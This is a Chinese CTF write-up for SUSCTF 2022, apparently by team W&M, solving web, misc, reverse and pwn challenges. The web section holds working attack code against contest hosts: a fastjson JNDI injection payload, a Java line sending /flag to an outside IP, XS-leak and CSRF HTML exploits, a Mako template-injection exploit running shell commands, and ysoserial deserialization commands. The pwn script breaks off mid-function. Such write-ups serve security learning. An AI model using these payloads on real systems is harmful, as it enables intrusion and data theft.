SUSCTF 2022 By W&M

admin 2024年9月13日22:06:39评论19 views字数 39478阅读131分35秒阅读模式

WEB

baby gadget v1.0

admin admin123

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi:IP:1099/Exploit"}

https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

修改HackerRMIRefServer.java和Exploit.java几个点

SUSCTF 2022 By W&M

外带flag

new java.net.URL("http://1.15.67.142:1337/?a="+new java.io.BufferedReader(new java.io.FileReader("/flag")).readLine()).openConnection().getInputStream();

baby gadget v1.0's rrrevenge

{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://ip:1099/Exploit"}

一样。

ez_note

提交地址的地方直接http://开头就能覆盖掉site,让bot访问自己的vps

xs-leak /search?q=处盲注

已知flag格式SUSCTF{[a-z0-9_]*} 可以用SUSCTF{开头

因为要让/search 带cookie 必须通过 link ref prefetchwindow.location.hrefwindow.openform method=GET的其中一种来访问,除了window.open以外的拿不到任何有关结果的信息,所以只剩这一种选择

/search 如果搜索到(唯一结果),会跳转,那么window.history会多一个,以此作为条件,来进行盲注

把window.location.href=about:blank或者自己的域就可以重新获得window.history的访问权

注一次需要大概三秒的时间,所以通过并发(异步)来节省时间,五秒内一次性打开30个window,其中一个命中即可

手撕13次recaptcha

SUSCTF{a_sh0rt_fl4g}

SUSCTF 2022 By W&M

<html>
<head>
<meta charset="utf-8" />
<script>

</script>
</head>
<body>
</body>
<script>

//傻逼js。。。变量传下去 值就变了。。。
windows = []

async function testForFlag1(flag){
    return new Promise((resolve,reject) => {
        w = window.open();
        windows[flag] = w;
        url = "http://123.60.29.171:10001/search?q="+flag+"&x="+Date.now();
        windows[flag].location.href = url
        setTimeout(()=>{
            windows[flag].location.href = "about:blank"
            setTimeout(()=>{
                result =  windows[flag].history.length == 3
                resolve([flag,result])
            },100)
        },3000)
    });
}

flag = "SUSCTF{a_sh0rt_fl4g"
dict = "abcdefghijklmnopqrstuvwxyz0123456789_}"

function multi(){
    for(var i = 0 ; i < dict.length; i ++ ) {
        lFlag = flag + dict[i]
        testForFlag1(lFlag).then(r => {
            console.log(r[0],r[1])
            if(r[1]){
                fetch("/flag?"+r[0])
            }
        })
    }
}

multi()

</script>
</html>

fxxkcors

1.Chrome 80以后默认的cookie samesite是lax模式,但是在cookie被设置/更新的2分钟内作为none模式对待(但是XHR依然不行,需要form post)

(需要是samesite不存在的默认,显式指定samesite=lax不行)

https://chromestatus.com/feature/5088147346030592

2.form设置enctype="text/plain" 避免被urlencode

3.form拼凑一个json出来

<html>
<head>
</head>
<body>
<form method="post" enctype="text/plain" action="http://124.71.205.122:10002/changeapi.php" id="a">
<input value='cw"}' name='{"username":"' />
<input type="submit" />
</form>
</body>
<script>
function c(){
a.submit();
}
setTimeout(c,1000)
</script>
</html>

SUSCTF 2022 By W&M

SUSCTF{fxxK_4h3_c0Rs_oUt}

rubbish maker

手撕混淆

1.有那么大一个函数用来混淆函数名,直接把这个函数带参数跑一遍就能知道被混淆的字符串是什么,全局替换即可,但是里面插了一些closure函数(就是把+ - ?? << 等运算符做成匿名函数了)

2.php-parse写脚本把closure函数转换回对应的运算符

3.PHPDeobfuscator进行反混淆,反base64,gzip,运算符常数运算等,这个库都做好了(建议把里面的eval反混淆注释掉,否则反混淆完跑不动)

4.把一些parse_str,join,$xxx ?? 111类型的没有反混淆的进行反混淆,正则替换就行

4.readflag逻辑,有好多种可能的情况,要自己撕,比如switch里的eval就是假的。。。写了两三个小时

总共的代码块是一样的,代码块的顺序,其中的数值,变量名,运算符,会被混淆,会插入随机的goto

getflag用到的是这一个代码块
if ($_GET[$varForFlag] && $challengeEq1 == $challengeEq2 && $challengeCompareVar > 1000 && !strpos($_GET[$varForFlag], "/flag")) {
        readfile($_GET[$varForFlag]);
}
其中用到的变量
$challengeEq2 在一个没有else的if里赋值
$challengeEq1 在一个else里赋值
$challengeCompareVar 直接通过GET进行赋值
$varForFlag switch里分支4赋值
为了走到上面的代码快,有可能其他的if goto需要的GET参数要加或者不加,每次跑的不一样
<?php
//反混淆完长这样
error_reporting(0);
$challengeCompareVar = $tempVar1 = $tempVar2 = $challengeEq2 = $challengeEq1 = $varForFlag = null;
if (function_exists("phpdbg_clear")) {
    phpdbg_clear();
}
$challengeCompareVar = $_GET["ziEz"];
$tempVar1 = $_GET["tReb"];
OjRanJYA:
$tempVar2 = $_GET["NNNI"];
wBAESwqj:
if (function_exists("phpdbg_prompt")) {
    phpdbg_prompt("error occurred");
}
NktpVEoY:
if (php_sapi_name() == 'phpdbg') {
    return;
}
if ($challengeCompareVar + $tempVar1 + $tempVar2 == 562) {
    $challengeEq2 = $_GET[$challengeCompareVar];
}
if (!$_SERVER["REMOTE_ADDR"]) {
    return;
}
if ($challengeCompareVar + $tempVar1 + $tempVar2 == 344) {
    $challengeEq1 = $_GET[$tempVar1];
} else {
    $challengeEq1 = $challengeCompareVar + $tempVar1 + $tempVar2;
}
DAnzJrCc:
if ($_GET['vahiZqNm'] == 'VaHiVcZs') {
    goto wBAESwqj;
}
if (function_exists("xdebug_is_debugger_active")) {
    if (xdebug_is_debugger_active() && function_exists("xdebug_break")) {
        while (true) {
            eval("while(true){xdebug_break();}");
            xdebug_break();
        }
    }
}
if ($_GET['MOwhezGD'] == 'wuPYmYWA') {
    goto NktpVEoY;
}
switch ($_GET[$challengeEq2]) {
    case 1:
        $challengeEq2 = '/flag';
        break;
    case 2:
        $challengeEq1 = $_GET[$tempVar1];
        break;
    case 3:
        eval($challengeEq1);
        break;
    case 4:
        $varForFlag = "lyMWQtlk";
        break;
    default:
        break;
}
if (function_exists("xdebug_disable")) {
    xdebug_disable();
}
$gkWvxlvq = microtime() * 1000;
if ($_GET['ZhsvrKWH'] !== 'FhIKFIDi') {
    eval("1+1;");
    $WsBwVFzg = microtime() * 1000;
    if ($_GET['GBHltWIr'] == 'AifMpfVB') {
        goto DAnzJrCc;
    }
    if ($WsBwVFzg - $gkWvxlvq > 100) {
        return;
    }
    if ($_GET[$varForFlag] && $challengeEq1 == $challengeEq2 && $challengeCompareVar > 1000 && !strpos($_GET[$varForFlag], "/flag")) {
        readfile($_GET[$varForFlag]);
    }
    if ($challengeCompareVar - $tempVar1 == 780) {
        $challengeEq2 = $_GET[$challengeCompareVar];
    }
    if (substr($challengeCompareVar, $tempVar1) == 1) {
        $challengeEq1 = $_GET[$challengeCompareVar];
    }
    $varForFlag = 'obTwiqMR';
    if (function_exists("xdebug_is_enabled")) {
        echo "error occurred";
        die(0);
    }
    if (function_exists('xdebug_get_tracefile_name')) {
        $ZvZSvGek = xdebug_get_tracefile_name();
        if ($ZvZSvGek !== false) {
            file_put_contents(xdebug_stop_trace(), "error occurred");
        }
    }
    return;
}
goto OjRanJYA;

SUSCTF 2022 By W&M

scripts

main.py
import re,base64
import re,subprocess
import os

filename = "6.txt"
tmpfilename = "test.tmp"

with open(filename,"rb") as file:
    data = file.read()
#去他的encoding,全部用bytes...
odata = data



php_template = b'''<?php
error_reporting(0);

function closure_dump($c) {
    $str = 'function (';
    $r = new ReflectionFunction($c);
    $params = array();
    foreach($r->getParameters() as $p) {
        $s = '';
        if($p->isArray()) {
            $s .= 'array ';
        } else if($p->getClass()) {
            $s .= $p->getClass()->name . ' ';
        }
        if($p->isPassedByReference()){
            $s .= '&';
        }
        $s .= '$' . $p->name;
        if($p->isOptional()) {
            $s .= ' = ' . var_export($p->getDefaultValue(), TRUE);
        }
        $params []= $s;
    }
    $str .= implode(', ', $params);
    $str .= '){' . PHP_EOL;
    $lines = file($r->getFileName());
    for($l = $r->getStartLine(); $l < $r->getEndLine(); $l++) {
        $str .= $lines[$l];
    }
    return $str;
}

include '{filename}';
$result = {calling};
if(is_string($result)){
    if(!is_callable($result)){
        print("'".$result."'");
    }else{
        print($result);
    }
}else{
    //print("<closure>");
    print(closure_dump($result));
}

'''
closure_funcs = []

def closure_parse(resp):
    global closure_funcs
    funcid = len(closure_funcs)
    funcname = "closure_func_%d" % funcid
    resp = resp.replace(b"function ",b"function "+funcname.encode())
    closure_funcs.append(resp)
    return funcname.encode()

closure_funcs = [b'''
function closure_func_mod($xzLVeMjv, $hkDxZCZX){
        return $xzLVeMjv % $hkDxZCZX;
    };
function closure_func_uinary($SyOHRTnn, $vdCksiFm){
        return $SyOHRTnn ?? $vdCksiFm;
    };
function closure_func_times($VNnwrwxk, $SPfNXLUZ){
        return $VNnwrwxk * $SPfNXLUZ;
    };
function closure_func_and($ASURejqo, $gyGEFjcL){
        return $ASURejqo && $gyGEFjcL;
    };
function closure_func_left($qUNEFGcb, $daOiGCNi){
        return $qUNEFGcb << $daOiGCNi;
    };
function closure_func_minus($LyuYNEuR, $OsHUKHMq){
        return $LyuYNEuR - $OsHUKHMq;
    };
function closure_func_equals($iXTaRCLr, $PcLNcHEo){
        return $iXTaRCLr == $PcLNcHEo;
    };
function closure_func_or($VebNtgmO, $ILhqQZFN){
        return $VebNtgmO || $ILhqQZFN;
    };
function closure_func_notequals($sGLAijNS, $pLSieIWL){
        return $sGLAijNS !== $pLSieIWL;
    };
function closure_func_plus($eeYHAIdc, $xdyLWOFX){
        return $eeYHAIdc + $xdyLWOFX;
    };
function closure_func_gt($wnIydgnV, $KhbxKCjx){
        return $wnIydgnV > $KhbxKCjx;
    };
function closure_func_empty($wnIydgnV, $KhbxKCjx){

    };
''']

def closure_parse(resp):
    if b' % ' in resp:
        return b'closure_func_mod'
    if b' ?? ' in resp:
        return b'closure_func_uinary'
    if b' * ' in resp:
        return b'closure_func_times'
    if b' && ' in resp:
        return b'closure_func_and'
    if b' << ' in resp:
        return b'closure_func_left'
    if b' - ' in resp:
        return b'closure_func_minus'
    if b' == ' in resp:
        return b'closure_func_equals'
    if b' || ' in resp:
        return b'closure_func_or'
    if b' !== ' in resp:
        return b'closure_func_notequals'
    if b' + ' in resp:
        return b'closure_func_plus'
    if b' > ' in resp:
        return b'closure_func_gt'
    if b'{\n    };' in resp:
        return b'closure_func_empty'
    raise resp

#主函数名字
MAIN_FUNC_NAME = re.compile(rb"function ([a-zA-Z0-9]+?)\(")
MAIN_FUNC_NAME = re.findall(MAIN_FUNC_NAME,data)[0]
REGEX_MAIN_FUNC = MAIN_FUNC_NAME + rb"\('.+?'\)"
REGEX_MAIN_FUNC = re.compile(REGEX_MAIN_FUNC,re.S)

data = data[6:] #去除<?php 
#data = data[data.find(b'\n}\ngoto ')+len(b'\n}\ngoto '):] #去除main函数

#find all main func and replace them all.
all_main_func = re.findall(REGEX_MAIN_FUNC,data)
all_main_func = list(set(all_main_func))

for i in all_main_func:
    command = php_template.replace(b"{filename}",filename.encode()).replace(b"{calling}",i)
    with open(tmpfilename,"wb") as file:
        file.write(command)
    ps = subprocess.Popen([b"php",tmpfilename],stdout=subprocess.PIPE)
    resp = ps.communicate()[0]
    print(i,resp)
    if ps.returncode != 0 or resp == b'':
        raise ps
    if not resp.startswith(b"function "):
        if resp.startswith(b"'") and resp.endswith(b"'"): #修正phpparser不支持的'xxx'(),我本地没有这些函数
            if resp.startswith(b"'xdebug_") or \
                resp.startswith(b"'phpdbg_"):
                resp = resp[1:-1]
        data = data.replace(i,resp)
    else: #closure
        resp = closure_parse(resp)
        data = data.replace(i,resp)

newdata = b"<?php\n"
for i in closure_funcs:
    newdata += i
newdata += data
with open(filename+".modified.php","wb") as file:
    file.write(newdata)

#修closure
os.system(f"php PHPDeobfuscator/test.php ./{filename}.modified.php > ./{filename}.modified.decloshure.php")

#修join 和 parse_str 和 null ?? number 表达式
with open(f"./{filename}.modified.decloshure.php","rb") as file:
    data = file.read()
for _ in range(5):
    '''
    parse_str('sqfH=eGRlYnVnX2dldF90cmFjZWZpbGVfbmFtZQ==', $eWzyBNpD) || $eWzyBNpD ? base64_decode($eWzyBNpD['sqfH']) : $eWzyBNpD)
    '''
    r1 = re.compile(rb"parse_str\('[a-zA-Z0-9]+=([a-zA-Z0-9=]+)', \$[a-zA-Z0-9]+\) \|\| \$[a-zA-Z0-9]+ \? base64_decode\(\$[a-zA-Z0-9]+\['[a-zA-Z0-9]+'\]\) : \$[a-zA-Z0-9]+")
    def sub(m):
        result = base64.b64decode(m.group(1))
        result = b"'" + result + b"'"
        return result
    data = re.sub(r1,sub,data)


    '''
    join('', array('Z', 'X', 'J', 'y', 'b', '3', 'I', 'g', 'b', '2', 'N', 'j', 'd', 'X', 'J', 'y', 'Z', 'W', 'Q', '='))
    '''
    r1 = re.compile(rb"join\('', array\(([^\)]+)\)\)")
    def sub(m):
        datas = m.group(1).decode()
        datas = eval("[" + datas + "]")
        result = "".join(datas)
        result = "'" + result + "'"
        return result.encode()
    data = re.sub(r1,sub,data)
    '''
    ($UJlWVuFM ?? 285)

    '''
    r1 = re.compile(rb"\$[a-zA-Z0-9]+ \?\? (\d+)")
    def sub(m):
        result = m.group(1)
        return result
    data = re.sub(r1,sub,data)
with open(f"./{filename}.modified.decloshure.php","wb") as file:
    file.write(data)

os.system(f"php PHPDeobfuscator/index.php -f ./{filename}.modified.decloshure.php > ./{filename}.modified.decloshure.deobfuscated.php")

#下面的全都是逻辑分析。。。烦得很,反正能用
#把几个关键变量标记出来
#并且提取几个计算的值。
challengeCompareValue = -1
ifWithoutElseValue = -1
ifElseValue = -1
challengeCompareVarSetter = ""
tempVar1Setter = ""
tempVar2Setter = ""
switchFlagSetter = ""
with open(f"./{filename}.modified.decloshure.deobfuscated.php","rb") as file:
    data = file.read()
    '''
    if ($_GET[$YxRPHcXd] && $YEsrbLzH == $aiDFQfwQ && $ZEgEIVYQ > 1000 && !strpos($_GET[$YxRPHcXd], "/flag")) {
    '''
    r1 = re.compile(rb'(if \(\$_GET\[\$([a-zA-z0-9_]+)\] && \$([a-zA-z0-9_]+) == \$([a-zA-z0-9_]+) && \$([a-zA-z0-9_]+) > ([a-zA-z0-9_]+) && !strpos\(\$_GET\[\$([a-zA-z0-9_]+)\], "/flag"\)\) {)')
    def sub(m):
        global data,challengeCompareValue
        result = b'$'+m.group(1)
        varForFlag = b'$'+m.group(2)
        data = data.replace(varForFlag,b"$varForFlag")
        challengeEq1 = b'$'+m.group(3)
        data = data.replace(challengeEq1,b"$challengeEq1")
        challengeEq2 = b'$'+m.group(4)
        data = data.replace(challengeEq2,b"$challengeEq2")
        challengeCompareVar = b'$'+m.group(5)
        data = data.replace(challengeCompareVar,b"$challengeCompareVar")
        challengeCompareValue = int(m.group(6))
        assert challengeCompareValue == 1000, "not 1000??"
        return result
    re.sub(r1,sub,data)
    '''
    if ($challengeCompareVar + $JGyuCLph + $MwCIYhGC == 619) {
    '''
    r1 = re.compile(rb'if \(\$challengeCompareVar \+ \$([a-zA-z0-9_]+) \+ \$([a-zA-z0-9_]+) == (\d+)\) {')
    def sub(m):
        global data
        tempVar1 = b'$'+m.group(1)
        data = data.replace(tempVar1,b"$tempVar1")
        tempVar2 = b'$'+m.group(2)
        data = data.replace(tempVar2,b"$tempVar2")
        return b""
    re.sub(r1,sub,data)
    '''没有else的if,也就是里面是challengeEq2的if
        if ($challengeCompareVar + $tempVar1 + $tempVar2 == 619) {
        $challengeEq2
        '''
    r1 = re.compile(rb'if \(\$challengeCompareVar \+ \$tempVar1 \+ \$tempVar2 == (\d+)\) {[ \n\r]+\$challengeEq2')
    def sub(m):
        global data,ifWithoutElseValue
        ifWithoutElseValue = int(m.group(1))
        return b""
    re.sub(r1,sub,data)
    '''有else的if,也就是里面是challengeEq1的if
    '''
    r1 = re.compile(rb'if \(\$challengeCompareVar \+ \$tempVar1 \+ \$tempVar2 == (\d+)\) {[ \n\r]+\$challengeEq1')
    def sub(m):
        global data,ifElseValue
        ifElseValue = int(m.group(1))
        return b""
    re.sub(r1,sub,data)
    '''
    $challengeCompareVar = $_GET["mKsI"];
    '''
    r1 = re.compile(rb'\$challengeCompareVar = \$_GET\[\"([a-zA-z0-9_]+)\"\];')
    def sub(m):
        global data,challengeCompareVarSetter
        challengeCompareVarSetter = m.group(1).decode()
        return b""
    re.sub(r1,sub,data)
    r1 = re.compile(rb'\$tempVar1 = \$_GET\[\"([a-zA-z0-9_]+)\"\];')
    def sub(m):
        global data,tempVar1Setter
        tempVar1Setter = m.group(1).decode()
        return b""
    re.sub(r1,sub,data)
    r1 = re.compile(rb'\$tempVar2 = \$_GET\[\"([a-zA-z0-9_]+)\"\];')
    def sub(m):
        global data,tempVar2Setter
        tempVar2Setter = m.group(1).decode()
        return b""
    re.sub(r1,sub,data)
    '''
            case 4:
            $varForFlag = "BnTVCCeq";
            '''
    r1 = re.compile(rb'case 4:[ \r\n]+\$varForFlag = "([a-zA-Z0-9]+)";')
    def sub(m):
        global data,switchFlagSetter
        switchFlagSetter = m.group(1).decode()
        return b""
    re.sub(r1,sub,data)
with open(f"./{filename}.modified.decloshure.deobfuscated.php","wb") as file:
    file.write(data)

print(challengeCompareValue,
ifWithoutElseValue,
ifElseValue,
challengeCompareVarSetter,
tempVar1Setter,
tempVar2Setter,
switchFlagSetter
)

#计算几个值
challengeCompareVarShouldBe = 2000
assert challengeCompareVarShouldBe > challengeCompareValue;
tempVar1ShouldBe = -1000
tempVar2ShouldBe = ifWithoutElseValue - challengeCompareVarShouldBe - tempVar1ShouldBe;


data = {}
data[challengeCompareVarSetter] = str(challengeCompareVarShouldBe);
data[tempVar1Setter] = str(tempVar1ShouldBe)
data[tempVar2Setter] = str(tempVar2ShouldBe)
data[switchFlagSetter] = "/flag"
data[str(challengeCompareVarShouldBe)] = str(ifWithoutElseValue) #$challengeEq2 = $_GET[$challengeCompareVar];
data[str(ifWithoutElseValue)] = str(4) #$switch ($_GET[$challengeEq2]) {
print(data)
PHPDeobfuscator/test.php
<?php
require 'vendor/autoload.php';
use PhpParser\Node;
use PhpParser\Node\Stmt;
use PhpParser\Node\Stmt\Function_;
use PhpParser\Node\Stmt\Expr_FuncCall;
use PhpParser\NodeTraverser;
use PhpParser\NodeVisitorAbstract;
use PhpParser\Error;
use PhpParser\NodeDumper;
use PhpParser\ParserFactory;
use PhpParser\Node\Expr\BinaryOp;
use PhpParser\PrettyPrinter;

$code = <<<'CODE'
<?php

test_a(1,2);
closure_func_left($bbb,2);
$aaa > 2;


CODE;

$code = file_get_contents($argv[1]) ?? $code;

/*
$mapping = array(
"closure_func_mod" => Expr_BinaryOp_Mod,
"closure_func_uinary" => Expr_BinaryOp_Coalesce,
"closure_func_times" => Expr_BinaryOp_Mul,
"closure_func_and" => Expr_BinaryOp_BooleanAnd,
"closure_func_left" => Expr_BinaryOp_ShiftLeft,
"closure_func_minus" => Expr_BinaryOp_Minus,
"closure_func_equals" => Expr_BinaryOp_Equal,
"closure_func_or" => Expr_BinaryOp_BooleanOr,
"closure_func_notequals" => Expr_BinaryOp_NotIdentical,
"closure_func_plus" => Expr_BinaryOp_Plus,
"closure_func_gt" => Expr_BinaryOp_Greater);
*/


$parser = (new ParserFactory)->create(ParserFactory::PREFER_PHP7);
try {
    $ast = $parser->parse($code);
} catch (Error $error) {
    echo "Parse error: {$error->getMessage()}\n";
    return;
}

$dumper = new NodeDumper;

$traverser = new NodeTraverser();
$traverser->addVisitor(new class extends NodeVisitorAbstract {


    public function enterNode(Node $node) {
            $mapping = array(
"closure_func_mod" => 'PhpParser\Node\Expr\BinaryOp\Mod',
"closure_func_uinary" => 'PhpParser\Node\Expr\BinaryOp\Coalesce',
"closure_func_times" => 'PhpParser\Node\Expr\BinaryOp\Mul',
"closure_func_and" => 'PhpParser\Node\Expr\BinaryOp\BooleanAnd',
"closure_func_left" => 'PhpParser\Node\Expr\BinaryOp\ShiftLeft',
"closure_func_minus" => 'PhpParser\Node\Expr\BinaryOp\Minus',
"closure_func_equals" => 'PhpParser\Node\Expr\BinaryOp\Equal',
"closure_func_or" => 'PhpParser\Node\Expr\BinaryOp\BooleanOr',
"closure_func_notequals" => 'PhpParser\Node\Expr\BinaryOp\NotIdentical',
"closure_func_plus" => 'PhpParser\Node\Expr\BinaryOp\Plus',
"closure_func_gt" => 'PhpParser\Node\Expr\BinaryOp\Greater');

        $name = @$node->name->parts[0];
        if($name){
            $replace = @$mapping[$name];
            if($replace){
                $newclazz = new $replace($node->args[0]->value,$node->args[1]->value);
                return $newclazz;
            }

        }
    }
});

$ast = $traverser->traverse($ast);

$prettyPrinter = new PrettyPrinter\Standard;
echo $prettyPrinter->prettyPrintFile($ast);
remote.py
ip  = "http://123.60.67.19/"
path = "/code/9f13e2a4d518f8356981ae2b96a252ca/index.php"

data = {'ziEz': '2000', 'tReb': '-1000', 'NNNI': '-438', 'lyMWQtlk': '/flag', '2000': '562', '562': '4'}

import requests

resp = requests.get(ip + path,params=data)
print(resp.text)

HTML Practice

打错了访问到了这个http://124.71.178.252//generate

Absolute URI not allowed if server is not a proxy.

发现是cherrypy,找找常用的模板引擎,发现是mako

https://docs.makotemplates.org/en/latest/syntax.html

POC:

% for i in range(10):
1
% endfor

发现他是拼接代码生成模板的

写个工具测试一下

import requests,re

from mako.template import Template


def make():
    with open("tool12.html") as file:
        code = file.read()
    t = Template(code + "hello ${data}!")
    print(t._code)
    return t.render(data="world")


if __name__ == '__main__':
    print(make())

发现输出的主体大致如下

def render_body(context,**pageargs):
    __M_caller = context.caller_stack._push_frame()
    try:
        __M_locals = __M_dict_builtin(pageargs=pageargs)
        data = context.get('data', UNDEFINED)
        eval = context.get('eval', UNDEFINED)
        __M_writer = context.writer()
        for i in range(10):
            __M_writer('\n')
        __M_writer('hello ')
        __M_writer(str(data))
        __M_writer('!')
        return ''
    finally:
        context.caller_stack._pop_frame()

然后用unicode绕过一下,带数据用__M_writer("aaa")

Exp:

import requests
import re

RE = re.compile(r"view/(.+)\?name=Hello")

url = "http://124.71.178.252"

black = [
    "eval",
    "open",
    "class",
    "globals",
    "local",
    "if"
]

i = """
%for i in eval(name):
1
%endfor
"""

r = requests.post(url + "/generate", data={
    "html": i
}).text
if 'hacker' in r or 'error' in r:
    print(r)
else:
    u = RE.findall(r)[0]
    r = requests.get(url + "/view/" + u, params={
        "name": "(__M_writer(__import__('os').popen('cat /flag').read()),)"
    }).text
    print(r)

baby gadget v2.0

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient ip:1388|base64

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1388 CommonsCollectctions6 "command"

SUSCTF 2022 By W&M

baby gadget v2.0' revenge

和上面的方法一样

SUSCTF 2022 By W&M

MISC

Tanner

SUSCTF 2022 By W&M

WIKI: https://en.wikipedia.org/wiki/Tanner_graph

写个脚本遍历一下

import hashlib
import libnum

mat = [
    [0,1,2,3],
    [0,4,5,6],
    [1,4,7,8],
    [2,5,7,9],
    [3,6,8,9],
]

s = 0

for i in range(0, 1<<10):
    bit = [int(i) for i in bin(i)[2:].zfill(10)]
    f = ''.join([bin(sum(bit[t] for t in line))[-1] for line in mat])
    if int(f) == 0:
        print(i)
        s += i
print(s,bin(s))

print("SUSCTF{"+hashlib.sha256(bin(s)[2:].encode()).hexdigest()+"}")

ra2

唯一一个自定义的,只有

  bill_board: cala10
    Owner: Neutral
    Location: 192,51

啥工具也不要,直接把他的坐标改到出生点就行了。

SUSCTF 2022 By W&M

misound

。。。太脑洞了,首先听声音得到是ROBOT36但是这个到最后都没用上,然后看频谱图,发现中间有字母

SUSCTF 2022 By W&M

拼起来是AnEWmuLTiPLyis_etimes_wiLLbEcomE_B,这是一个hint也是一个key,加上其他hint可以知道逻辑大概是e的ascii乘上_的ascii最后等于B的ascii乘上某东西,然后就写脚本,最后爆了一下得到flag,这里给出脚本

import math
# a = [ord(i) for i in 'NQHFEAOUUUSHLMCJQRFLFNMKGQAOLDWBBI']
b = '207 359 220 224 352 315 359 374 290 310 277 507 391 513 423 392 508 383 440 322 420 427 503 460 295 318 245 302 407 414 410 130 369 317'.split(' ')
c = [ord(i) for i in 'AnEWmuLTiPLyis_etimes_wiLLbEcomE_B']
# print(c)
# x = ord('B') / ord('e')
# def isPrime(n): 
#     if n <= 1: 
#         return False   
#     for i in range(2, int(math.sqrt(n)) + 1): 
#         if n % i == 0: 
#             return False
#     return True
# print(b)
# print([isPrime(int(i)) for i in b])
a2 = []
# for i in a:
#     a2.append(int(i,2))
b2 = []
for i in b:
    b2.append(int(i))
# print(c)
c2 = []

# for i in range(34):
#     print(chr(a2[i]+96),end='')
# print()
# for i in range(34):
#     print(chr(int(a2[i]/x)),end='')
res = []
for i in b2:
    res.append(95*101//i)
print(res)
res2 = []
for i in range(34):
    res2.append(95*101-res[i]*b2[i])#_*e = ? * b
# test = [ord(i) for i in 'SUSCTF{']


for i in range(34):
    flag = ''
    for j in range(34):
        flag+=chr(round((b2[j]*res[i]+res2[i])/c[j]))
    if 'SUSCTF' in flag:
        print(flag)
        break
SUSCTF{tHe_matter_iS_unremArkab1e}

audio

把两段音频同时拖进audacity里面,然后分别对音频进行标准化,然后分别截去静音,然后对fromfriends.wav进行反相操作,而后把两段音频叠起来即可

SUSCTF 2022 By W&M

SUSCTF 2022 By W&M

checkin

对机器人私聊发 >flag,手速快截图到即可。

Reverse

hell_world

找到一个主要的函数,具体的功能都是调用这里

SUSCTF 2022 By W&M

getc获取输入后,下面判断了长度

SUSCTF 2022 By W&M

此处作为索引,每一位都进行了一次比较,大致可以确定是诸位比较的。

SUSCTF 2022 By W&M

SUSCTF 2022 By W&M

下面是进行对比的数组,处理的过程是将其转换成二进制 每一位加2。再case 10的位置同样的处理另一个数组,后面的循环似乎是类似于异或的处理。 验证了一组数据,发现可行,直接写脚本。

SUSCTF 2022 By W&M

dword_5C50 =  [0x00000056, 0x000000DA, 0x000000CD, 0x0000003A, 0x0000007E, 0x00000086, 0x00000013, 0x000000B5, 0x0000001D, 0x0000009D, 0x000000FC, 0x00000097, 0x0000008C, 0x00000031, 0x0000006B, 0x000000C9, 0x000000FB, 0x0000001A, 0x000000E2, 0x0000002D, 0x000000DC, 0x000000D3, 0x000000F1, 0x000000F4, 0x00000036, 0x00000009, 0x00000020, 0x00000042, 0x00000004, 0x0000006A, 0x00000071, 0x00000053, 0x00000078, 0x000000A4, 0x00000097, 0x0000008F, 0x0000007A, 0x00000072, 0x00000039, 0x000000E8, 0x0000003D, 0x000000FA, 0x00000040, 0x0000003D, 0x00000198, 0x00000000, 0x00000000, 0x00000000]
dword_5B80 = [0x00000005, 0x0000008F, 0x0000009E, 0x00000079, 0x0000002A, 0x000000C0, 0x00000068, 0x00000081, 0x0000002D, 0x000000FC, 0x000000CF, 0x000000A4, 0x000000B5, 0x00000055, 0x0000005F, 0x000000E4, 0x0000009D, 0x00000023, 0x000000D6, 0x0000001D, 0x000000F1, 0x000000E7, 0x00000097, 0x00000091, 0x00000006, 0x00000024, 0x00000042, 0x00000071, 0x0000003C, 0x00000058, 0x0000005C, 0x00000030, 0x00000019, 0x000000C6, 0x000000F5, 0x000000BC, 0x0000004B, 0x00000042, 0x0000005D, 0x000000DA, 0x00000058, 0x0000009B, 0x00000024, 0x00000040]
s = ""
for i in range(len(dword_5B80)):
    dword_5B80_str =  "{0:0>8b}".format(dword_5B80[i]).replace("0","2").replace("1","3")
    dword_5C50_str = "{0:0>8b}".format(dword_5C50[i])
    print dword_5B80_str,dword_5C50_str
    s += chr(dword_5C50[i] ^ dword_5B80[i])
print s
# 23322333
# 22222323
# 00110001
# 01010110

DigitalCircuits

通过pyinstxtractor解包后

SUSCTF 2022 By W&M

补全头部后反编译

SUSCTF 2022 By W&M

因为看到了32轮,所以不难猜出这是个tea算法,直接解密即可

SUSCTF 2022 By W&M

PWN

rain

# encoding: utf-8
from pwn import *

elf = None
libc = None
file_name = "./rain"
#context.timeout = 1


def get_file(dic=""):
    context.binary = dic + file_name
    return context.binary


def get_libc(dic=""):
    if context.binary == None:
        context.binary = dic + file_name
    assert isinstance(context.binary, ELF)
    libc = None
    for lib in context.binary.libs:
        if '/libc.' in lib or '/libc-' in lib:
            libc = ELF(lib, checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc = ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s = ssh(sys.argv[3], sys.argv[1], int(sys.argv[2]), sys.argv[4])
            return s.process([file_name])
        else:
            if ":" in sys.argv[1]:
                r = sys.argv[1].split(':')
                return remote(r[0], int(r[1]))
            return remote(sys.argv[1], int(sys.argv[2]))
    else:
        return process([file_name])


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string != None:
        sh.recvuntil(start_string)
    if libc == True:
        if info == None:
            info = 'libc_base:\t'
        return_address = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address = int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len != None:
        return_address = u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch == 'amd64':
        return_address = u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address = u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset != None:
        return_address = return_address + offset
    if info != None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    try:
        sh.recvrepeat(0.1)
        sh.sendline('cat flag')
        return sh.recvrepeat(0.3)
    except EOFError:
        return ""


def get_gdb(sh, addr=None, gdbscript=None, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript)
    elif addr is not None:
        gdb.attach(sh, 'b *$rebase(' + hex(addr) + ")")
    else:
        gdb.attach(sh)
    if stop:
        pause()


def Attack(target=None, elf=None, libc=None):
    global sh
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh = target.sh
        elf = target.elf
